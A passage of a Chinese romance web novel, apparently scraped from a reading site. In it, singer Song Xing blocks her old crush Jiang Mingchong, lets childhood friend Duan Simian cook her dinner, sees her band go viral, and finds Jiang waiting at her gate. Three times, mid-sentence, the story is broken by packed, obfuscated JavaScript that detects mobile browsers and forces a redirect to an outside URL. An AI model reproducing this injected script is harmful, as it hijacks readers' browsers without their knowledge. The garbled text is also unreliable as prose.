“那你就喜欢吧。”宋星耸了耸鼻尖，觑着眼前一脸笑意的青年，离开时撂下这一句。 ................. 周一的一切又恢复平静。 宋星醒来的第一件事就是看着微信上姜明崇发来的【对不起】，然后直接把姜明崇的电话微信全都统统利落拉黑，在她眼里，姜明崇现在就是个神经病，疯子。 宋星又随手刷了刷视频。 无论是官方账号还是营销号切片，《梦想乐队》节目两期下来数据最好最出圈的舞台，就是新人乐队杀死玫瑰的《夏天雨》。 现在经纪公司唱片公司抢人讲究的都是一个速度，潜力新人的花语是手慢无，不到两天时间，找来要签下他们的各自公司和工作室已经可以拉几页Excel表了。 九九主动揽下跟这些想要签他们的公司筛选联系的任务。 他们跟《梦想乐队》节目组签了保密协议，在被淘汰的那期播出之前都不能有任何公开活动或者演出，所以四人最近其实一直都蛮闲，如果想签公司或者工作室的话，可以有时间慢慢选。 宋星刚跟九九联系完，又看到段斯冕给她发来的消息。 段斯冕问她晚上有空吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214813|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他同事跟他推荐了一家最近新开的意大利餐厅，想请她一起去尝尝。 宋星对着段斯冕的消息直接抓了一把头发，皱眉。 窗户纸捅破之后，那些在背后暗暗搞小动作装作偶遇的行为不再，竟然好像直接变成明追了。 宋星：【我不喜欢吃意大利菜】 【那这家可以吗？】段斯冕又发过来一家法国菜餐厅，米其林星级。 宋星：【我不喜欢吃白人饭】 【那这几家呢】段斯冕又发过来几家中餐厅，每家都很有名。 宋星：【……】 “段斯冕你还不懂我的意思？”宋星索性直接发语音过去。 这么拒绝就是不想一起吃饭，跟吃什么其实没关系。 她是让他要喜欢就随便，但也没有这样。 段斯冕：【懂】 宋星正想说懂你还这么不依不饶不知趣，然后对面消息接着发过来。 段斯冕：【可是我真的很想一起吃饭。可怜.jpg可怜.jpg可怜.jpg星星眼.jpg星星眼.jpg星星眼.jpg】 【球球老大，给我一次机会吧。泪.jpg泪.jpg泪.jpg】 接着两人聊天界面似乎忽然一下子开始安静了。 宋星注视着段斯冕发过来的信息。 她双唇微张，面对这一串或卖萌或撒娇纯纯小学四年级的聊天风格，想象段斯冕顶着现在那张脸发“球球老大”时的样子，震颤过后，终于缓缓吐出一个字： “草。” 19.十九颗星 宋星这人的属性有时其实很明显。 从小到大，她都是个吃软不吃硬的主。 别人态度越强硬她就越脾气上来要对着干，但只要对面态度一放软，跟她撒撒娇求求饶，她反而经常不知道该怎么办才好。 就比如说面对现在的段斯冕。 从重逢到现在，宋星自认自己跟段斯冕的交流都算普通，就算小时候是老大与跟班的关系，但是十几年过去，大家都已经是成年人，当初需要人保护的小胖子甚至都长成了185＋大帅逼，所以那些小学四年级的故事，也都消失在时间流逝，没人再提。 直到今天段斯冕发过来的“球球老大”。 宋星瞬间觉得自己手机对面的不是成年体，还是那个成天跟在她身后，喜欢哭鼻子，把所有零花钱都拿来给她买零食吃，叫她“老大”的小胖子。 由于幼年体的版本太过可爱，宋星感觉自己一时都差点稳不住。 不过还好她又很快镇定，回：【……】 【段斯冕你够了】 段斯冕：【你今天都在家，我下午六点来接你，可以吗？】 他发完文字后又补充：【可怜.jpg可怜.jpg可怜.jpg星星眼.jpg星星眼.jpg星星眼.jpg】】 宋星只想把这些黄豆表情包从段斯冕手机里删掉。 她深呼吸一口：【我不想出门】 段斯冕：【那我来家里给你做饭，可以吗？】 【我上次做的面你尝过，我做饭手艺还不错的】 【期待.jpg期待.jpg期待.jpg】 宋星：“……” 她有一种捅破窗户纸后这人是不是被小学生夺舍了的错觉，有些无语之后，回了句：【随你便吧】 …… 下午六点，段斯冕拎着大包小包的食材准时造访。 宋星过去开门。 两人虽说住楼上楼下但彼此其实都还没去过对方家里，段斯冕之前来过几次，都只是在门口送送东西。 宋星面对门口微笑的段斯冕。 她翘着嘴侧身让出位置：“进来吧。” “你家跟我家格局应该是一样的吧。”宋星一边往里走一边说，“不用我告诉你厨房位置？” “不用，”段斯冕没有再往其他地方走，进来后只是略扫了眼室内的布局，确定厨房的位置。 宋星又忽然转身：“段斯冕，” 她用手指指着他：“你要是做的难吃你就死定了。” 段斯冕面对宋星忽然严重的警告愣了一下，然后又像是好奇问：“你想我怎么死？” 宋星：“……” 她觉得自己下午肯定是疯了才会禁不住可爱同意来她家做饭，接着皮笑肉不笑挤出一句：“不得好死。” 这回换段斯冕沉默。 他沉默后自动去了厨房。 宋星回到客厅，翘着脚躺在沙发上。 房子很大所以厨房的动静她也听不到，宋星拿起手机看了看，漫无目的地刷了会儿视频后，好像又想起什么。 接着宋星打开一个国外很常用的职业社交网站。 在国外上班上学的人基本都用这个网站，有点类似于社交媒体和职场软件的结合体，用户在这个网站上可以搭建职业人脉或者找工作。 宋星记得段斯冕英文名应该是Simon，从前英语课上他一直用这个名字跟她练对话，于是宋星在网站上尝试性地输入了“Simon Duan”这个名字，点击搜索。 职场网站里用户基本都会用自己的照片当头像。 宋星一眼就从搜索结果里找到段斯冕的照片。 名字正确。 宋星点进段斯冕的职业社交主页，主页里除了段斯冕现在上班的公司和职务，还写了他之前的一些经历。 包括段斯冕高中在西雅图私校，本科和硕士都在普林斯顿，毕业之后进了fi，一直工作到现在。 宋星翻着段斯冕职业主页上的各种信息，她不是hr，但也知道这是一份标准精英的简历。 然后虽然网站是公开的，只要知道名字谁都可以查，但宋星看着看着还是不由地升起一种，自己好像在翻人隐私的不安感。 她确实是想翻人隐私。 因为她忽然想知道关于这中间间隔的这么多年，段斯冕在地球的那一边做什么。 然后她看到段斯冕的轨迹似乎也跟她，跟所有他们这个年龄段的人类似，人生是按部就班的升学，工作，生活。 宋星又看着段斯冕网站上的头像照片。 照片应该是前两年拍的，大概是环境因素，照片里的段斯冕眉眼五官相比于现在都更有些美式精英的感觉，只是无论是现在还是之前，青年的样子里都早已没了那个曾经因为发胖被班上男同学欺负，爱哭鼻子的小胖子的影子。 宋星一时看得有些发呆。 直到厨房的门被打开。 段斯冕先端着刚出锅的糖醋排骨和香菜牛肉出来，宋星从手机中抬头，在客厅离得老远都能闻到香味。 宋星起身走到餐厅。 她看到盘子里的食物色泽诱人看起来鲜香欲滴，起码从卖相上来看，绝对是成功。 段斯冕又从厨房里端了剩下两道菜出来。 两个人四菜一汤。 宋星对着这一桌子就外观和香味来说她确实无法昧着良心给出任何负面评价的食物，又看向此时正在布置碗筷的段斯冕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229050|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 段斯冕把筷子递给宋星：“尝尝。” 宋星听着这回答接过筷子。 她先夹了一块排骨缓缓放进嘴里。 段斯冕眼中期待：“怎么样？” 宋星看着段斯冕眼中的期待，咀嚼完又咽下去，感受着味蕾上还残余的味道，还是很诚实地缓缓说：“你可能不用不得好死了。” 排骨酸甜度正好，肉也一点不柴，是家常菜里非常优秀的水平。 段斯冕眼里的期待顿时全部化成喜悦。 他立马又往宋星碗里夹了片香菜牛肉：“你再尝尝这个。” 宋星看看放到她碗里的牛肉。 段斯冕夹完牛肉后又像是突然想起什么，把跟着一起夹到宋星碗里的几片香菜仔细用筷子挑了出来。 宋星没想到段斯冕连她不吃香菜都还记得。 只是香菜对于她来说其实并非是她受不了味道不吃，而是她小时候去姜家吃饭知道姜明崇不吃香菜，于是回家就闹着自己以后也不吃香菜不爱吃香菜，然后每次吃饭，遇到香菜都要小心翼翼从碗里挑出来。 姜明崇不吃香菜，她也不吃香菜，这对于小时候的宋星来说是甜蜜的，一种单方面的无比甜蜜。 只是她不吃香菜的习惯早在不喜欢姜明崇之后就改了。 段斯冕示意宋星怎么还不尝尝。 宋星提起筷子把去了香菜叶子的牛肉放进嘴里。 “怎么样？”段斯冕再次期待反馈。 宋星尝完点点头：“还可以。” 连续收到反馈都还不错的段斯冕终于笑意更浓。 他提起筷子又想让宋星尝第三道菜，直到宋星在这时突然问： “你哪儿学的做饭？” 宋星仰头问的真心实意，她也会做点饭，不过水平仅限于成年人的基础生存技能，只能不把自己饿死的程度。 段斯冕这个厨艺，显然跟她不是一个level。 “我自己喜欢吃，”段斯冕被问到后说，“所以上学的时候有时间就自己琢磨着做，网上也有很多教程。” “你自己喜欢吃？”宋星提高了点声音，好奇着，“你不怕吃了胖？” 小时候就是小胖子，现在还爱吃饭，体重反弹了怎么办。 小学四年级发胖还能勉强称得上一句可爱，成年人发胖，那可就一点不可爱了。 对面段斯冕顿了顿。 似乎没想到宋星还这么关心他体重，关心他不要再变成胖子。 他记得之前跟宋星说过他小时候发胖纯属是因为吃生病激素药，并不是因为吃得多。 于是段斯冕面对宋星，犹豫之后，问她：“胖了，你就不喜欢我了吗？” 宋星：？ 20.二十颗星 段斯冕样子好像问得很认真。 宋星对着一张近距离的俊脸，记忆好像又忽然被拉到从前。 从小到大，在她的认知里，世界上最帅的人永远是姜明崇，她喜欢姜明崇不是因为长相，但姜明崇能让她喜欢，长相绝对是抛不开的因素。 然后小学时有一段时间不知道怎么回事，跟屁虫小胖子段斯冕竟然嚷嚷起了要减肥。 宋星没把段斯冕说要减肥的事放在心上，正是长身体的年纪一个小胖子能减什么肥，体育课还把他拉来给女同学们绷跳的皮筋，结果几个小伙伴玩着玩着，段斯冕忽然晕了过去。 一群小学生看到突然晕了的小胖子吓傻了，叽叽喳喳麻雀一样围成一个圈，又有人赶紧叫来老师，老师吓得赶紧背起段斯冕就去医务室，宋星也跟了过去。 体育老师满脸焦急不知道这小胖子出了什么事，结果经过医务室医生一通检查，终于得出诊断结果—— 饿晕的。 得到结果之后体育老师都懵了，难道没有吃饭吗，怎么会是饿晕的。 只有宋星背靠墙壁，想起几天前段斯冕跟她说过他要减肥。 竟然真的减肥把自己饿晕了。 确定是饿晕之后，段斯冕在医务室喝了两袋葡萄糖终于慢慢转醒。 跟着赶来的还有段斯冕家长，跟医生确定没事之后段斯冕妈妈松了口气，然后又回头注意到一直也等在医务室的宋星，过来弯腰笑着摸摸她的小辫子说你就是宋星吧，段斯冕在家里天天提到你。 宋星瞥了一眼刚刚醒来正坐在床上满脸虚弱吃东西的段斯冕。 她又看看眼前弯腰跟她说话的段斯冕妈妈，叫了声“阿姨好”就赶紧跑走，怕段斯冕在家长面前告她小黑状。 宋星从段斯冕在体育课上饿晕的记忆中回神。 然后她对着眼前男人清瘦的脸，面对刚才那个问题，小心翼翼，但还是实话实说：“瘦了，我也没喜欢你啊。” 段斯冕脸上表情顿时有些受伤。 “老大。”他又这么叫她。 宋星觉得自己有点受不了这个。 “不是说吃饭吗！”她看向自己还没尝的第三道麻婆豆腐。 段斯冕又才回神，很快调整好自己的情绪，用勺子盛了一勺豆腐喂给宋星：“尝尝。” 宋星看了看段斯冕喂到自己唇边的麻婆豆腐。 他动作很自然，还用另一只手在她下巴下面接着。 宋星想了想，张嘴。 …… 《梦想乐队》继续播出。 在第一轮竞演中新人乐队杀死玫瑰凭借一首原创歌曲《夏天雨》出圈，第二轮竞演自然受到了很多关注，在节目里的镜头也明显多了。 然后当众人看到杀死玫瑰一对一竞演抽到的对手竟然是节目最大牌的低频日记时，任谁来了也要感叹一句运气太差。 甚至有小道消息还没播出的第三轮复活赛里杀死玫瑰也是排名第四，被赞助商要捧的皇族卡位淘汰了。 节目复活赛录制时杀死玫瑰的初舞台还没播，节目组显然也不知道这个乐队会火，不然肯定不会让他们卡位淘汰。 宋星刷到网上关于他们的小道消息，发现现在网友的瓜还真的挺准。 好在他们第二轮竞演的曲目《明天》同样观众反响很棒，虽然比赛时没能pk过低频日记，但绝对是有效舞台。 杀死玫瑰的社交账号也一直持续涨粉，两首在节目里唱的歌都在音乐软件收听榜前排，然后在这周周中的《梦想乐队》加更版本里，节目组还放出了很多乐队来参加节目时的后采。 包括为什么要选择做乐队，对这次节目有什么展望，以前做过其他工作吗，梦想是什么等。 杀死玫瑰的后采里乐队四人都谈起了自己平日的生活。毕竟作为没有名气的小乐队相凭借音乐养活自己还太困难。两个男生大南和阿墟都还是大学生，平时除了乐队livehouse的一点收入外偶尔还会去兼职家教，女生鼓手九九从小喜欢音乐专门玩音乐，家庭条件不错不用为生计发愁，而主唱宋星，自述在搞乐队之前在b市某互联网公司当程序员，后来觉得每天坐在办公室里的日子不自由没意思，便辞职想找点有意思的事情给自己。 于是由于职业反差太大，当一个大波浪烟熏妆搞摇滚的乐队主唱自述自己以前是程序员后，#不想搞乐队的主唱不是好程序员#词条立马上了热搜。 评论：【图片.jpg，这样你跟我说她以前是程序员？？？】 【不是说当程序员的会秃头吗，为什么头发还这么多！】 【会唱歌也会编程，太酷了吧】 【是真的吗？怎么跟我刻板印象的程序员差别这么大！都不穿戴眼镜格子衫的吗！】 【楼上的是真的，朋友的男朋友以前跟她是一个部门的同事。允悲.jpg】 【这个故事告诉我们果然上班没什么前途。点烟.jpg ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229051|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 【坐在办公室里的日子不自由没意思，听懂这句话的我哭了】 【这期造型又美出新高度，宋主唱美貌鲨我，泪.jpg】 【其实我觉得造型也就还好，那造型一般人都hold不住，全靠脸撑】 …… 另一边，郊区，干部宿舍。 立秋之后秋风渐起，郊区的夜晚已经很凉了。 姜明崇今晚还是没睡。 发过去的消息旁边仍是红色的感叹号。 他独自立在阳台，听楼下树叶被风吹过时“沙沙”的响。 手机屏幕上是今晚热度很高的，《梦想乐队》加更版里，杀死玫瑰主唱宋星对着镜头坦言自己以前是程序员，辞职是因为不自由的视频。 姜明崇想起宋星大四快毕业时。 他记得那时宋星似乎本来并没有打算去工作，她生性不喜欢束缚规矩，大学学了四年计算机也发现并不是太热爱，只是后来又怕他不喜欢她不工作当被瞧不起的富二代，于是便找了工作，老老实实去上班。 宋星拿到工作offer的第一时间是发给他。 说自己会好好工作，问他你什么时候从西北回来，好远，我好想你。 姜明崇那时还没有斟酌“我好想你”这几个字的分量。 虽然他读大学时在另一个城市，宋星基本每隔一两周周末就会飞过来装作偶遇，但那也只是发达的城市与城市之间，一张机票两三个小时的飞行就可以搞定。 后来他毕业去了西北，刚开始时具体在哪个地方哪个连都不能透露，然后等到能透露自己大概位置之后，姜明崇就在那里看到了宋星。 她说她想他，很想很想，所以再难再远也要过来。 他都没去参加她的毕业典礼，不过没关系，她把照片带过来了。 姜明崇都有些忘了那天最后自己是怎么把宋星送上回程的车的。 只记得宋星最后一直抱着他的腰不放手，他感受到胸前衣服泪水的濡湿，却最终还是一点一点，把她推开。 姜明崇忽然闭了闭眼。 胸口仿佛还能感受到当时泪水湿热的温度，心脏伴随着疼痛揪成一团，他从未有一刻像现在这样感到后悔，后悔起码在那时，他应该抱抱她。 而不是推开。 姜明崇重新睁开眼。 曾经明明相隔那么远也要见面，可是现在，就在同一座城市， 宋星不见他。 21.二十一颗星 这周杀死玫瑰四人还有些事。 大概是由于热度实打实的可观，不利用实在浪费，所以即使在下周的节目里他们就要被淘汰了，《梦想乐队》节目组仍把杀死玫瑰四个人叫回去，要他们拍一条节目赞助商的中插广告。 节目赞助商是某知名饮料品牌，摄影棚里四人都要拿着新款饮料做出一副很好喝的样子。 宋星还被分到了一句广告词，“年轻，就要这种滋味。” 摄影棚里的镜头又和舞台上的感觉不一样，几人之前都没有过表演经验，镜头一对准还都很放不开，尤其是宋星还要说广告词，简单几个字要求她要念得有滋有味，越说越佩服姜明枝在镜头前怎么做到那么收放自如，天生女明星的料。 十五秒的中插广告四人愣是拍了一下午。 拍到最后广告导演才总算勉强满意，只是为这乐队的主唱有些遗憾。 本来觉那么漂亮除了唱歌说不定以后还能往影视圈发展发展，结果今天那一面对镜头说广告词那浑身手脚僵硬哪哪儿都不自然的样子，看来进影视圈是没什么天赋了。 宋星喝水时总觉得广告导演看她眼神怪怪的。 好不容易拍完赞助商广告，天色渐晚，四人收工后又一起去吃饭。 是四环路livehouse附近一家他们以前常去的苍蝇馆子，物美价廉分量还实惠，四人点完菜正等着，没想到店里还有其他客人把他们认了出来。 认出四人的客人显得很激动，说我看了节目很喜欢你们，还专门过来要了合影，然后等人拍完照高高兴兴走了之后，大南震惊脸用嘴型说了句“我靠”。 之前基本都是网上的讨论度四人现实中其实没什么实感，直到今晚真的偶遇了能认出他们的路人，才发现原来生活中被人认出来是这种感觉。 “感觉怎么样啊大明星。”九九胳膊搭在椅背上打趣。 “哪里哪里。” “大明星”三个字听的人怪不好意思，大南害羞摆手。 老板把几人点的菜上上来。 最先上来的是一道麻婆豆腐。 宋星挑了一块尝了尝，还是从前的老味道，然后她尝的时候，想起上次段斯冕在她家也做了麻婆豆腐。 宋星忽然觉得店里的没有上次段斯冕做的好吃。 段斯冕的豆腐里应该加了肉沫，会更香一些。 宋星又拿起手机看了看。 她看到段斯冕刚好给她发了微信，说今晚他真的加班，最近项目很忙。 附上一张晚上办公室里的照片，以及sad.jpg表情包。 宋星对着段斯冕的sad表情包冷不丁笑了一下，动手指回： 【这就是你以前假装加班的报应】 段斯冕：【……】 【流泪黄豆.jpg】 【我真的已经知道错了T T】 宋星放下手机。 对面九九注意到宋星对着手机聊天界面在笑，嗅到八卦气息似的凑过来：“你在跟谁聊天呢，星星。” 宋星瞥着九九一脸八卦，诚实答：“小学同学。” …… 几人吃完饭差不多晚上九点，不打算再去其他夜间活动，各自回家。 宋星开车经过小区门口，平日只是行礼的保安今天忽然敲敲车窗告诉她，说有人找您。 宋星顺着保安的方向看到路边好像有个很眼熟的身影，两个人对视上眼神。 是姜明崇。 宋星看到人后下意识皱了皱眉。 这个时间点的嘉悦府大门还算安静，路灯昏黄，保安依然勤勤恳恳工作，门岗的白色灯光柔亮。 宋星面对突然出现在她家楼下的姜明崇：“你在这儿做什么？” 姜明崇看着宋星。 他联系不到她，也不知道她在哪里在做什么，所以只能在这里等。 “我……”姜明崇启唇，话到嘴边，说：“想见见你。” 宋星：“……” 她想起上次男人在她姥姥家门口说的那些话脸色沉了沉，愤怒过后又是种无奈的坦然：“姜明崇，如果只是这个，你还是走吧。” “对不起，”姜明崇垂眸。 宋星：“你有什么对不起我的？” “客观上，”宋星想了想，“你一直没有什么对不起我的。” 就算是现在，除了姜明崇突然说喜欢让她觉得他有病意外，宋星还是承认，姜明崇是个不错的人。 “不是，”姜明崇眉头微微皱着，那些酸胀积累的情绪在心底不断翻涌，过往的一幕幕在眼前浮现，最后化成一句，“宋星，” 他说：“你再……给我个机会，可以吗？” 宋星：“ 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“就是小学四年级的时候一直跟我玩的很好的那个小胖子，我不知道你还有没有印象。” 宋星本来想说就是当年跑到你家跪下来求你跟我在一起的那个，这你绝对印象深刻肯定记得，但想了一下又觉得不太合适，换成现在的说法。 姜明崇听着宋星的介绍，当然记得。 那一年他每次看到宋星，她身后几乎都跟了个胖乎乎的小男孩。 后来那个小男孩要移民了，又跑到他家。 甚至前一阵姜明枝才咯咯笑着跟他提起过，说是宋星跟她说起的，当年的搞笑小胖子最近回国了。 不过姜明崇当时并没有把这话放在心上。 只是此时此刻，面对眼前站在宋星身边，叫着她“又又”，仍然一脸淡笑的青年，姜明崇下唇几乎微不可查地颤了一下。 当年哭着求他跟宋星在一起的小男孩，现在成长为男人，坦然站在他的对立面。 空气像变成了一堵透明的墙，把所有人都同时定格在同一瞬间，宋星刚做完介绍，段斯冕在对着对面微笑，姜明崇停滞过后，终于伸手打破这瞬间定格： “你好。”